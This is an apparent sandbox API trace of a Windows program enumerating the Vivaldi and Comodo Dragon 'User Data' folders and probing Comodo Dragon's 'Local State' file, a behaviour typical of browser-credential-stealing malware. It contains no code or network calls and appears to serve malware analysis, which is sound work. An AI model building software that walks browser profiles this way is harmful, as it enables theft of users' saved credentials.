[0052.785] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.786] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.786] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.786] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.786] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.786] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.786] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.786] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.786] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.786] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.786] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.786] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.786] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.786] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.786] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.786] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.786] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.786] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.786] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.786] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.787] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.787] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.787] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.787] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.787] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.787] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.787] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.787] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.787] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.787] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.787] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.787] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.787] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.787] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*") returned 58
[0052.787] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.787] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x181904 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0
[0052.787] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local"
[0052.787] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Comodo\\Dragon\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\"
[0052.787] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\"
[0052.788] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\"
[0052.788] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\Local State"
[0052.788] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x67d910
[0052.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=73, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73
[0052.788] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x92) returned 0x67d968
[0052.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=73, lpWideCharStr=0x67d968, cchWideChar=73 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\Local State") returned 73
[0052.788] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x67da08
[0052.788] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d968 | out: hHeap=0x670000) returned 1
[0052.788] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\local state")) returned 0xffffffff
[0052.788] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da08 | out: hHeap=0x670000) returned 1
[0052.788] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0052.788] wsprintfA (in: param_1=0x1818cc, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*") returned 62
[0052.788] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*"), lpFindFileData=0x18178c | out: lpFindFileData=0x18178c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0052.788] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.788] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.789] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.789] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.789] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.789] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.789] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.789] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.789] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.789] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.789] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.789] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.789] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
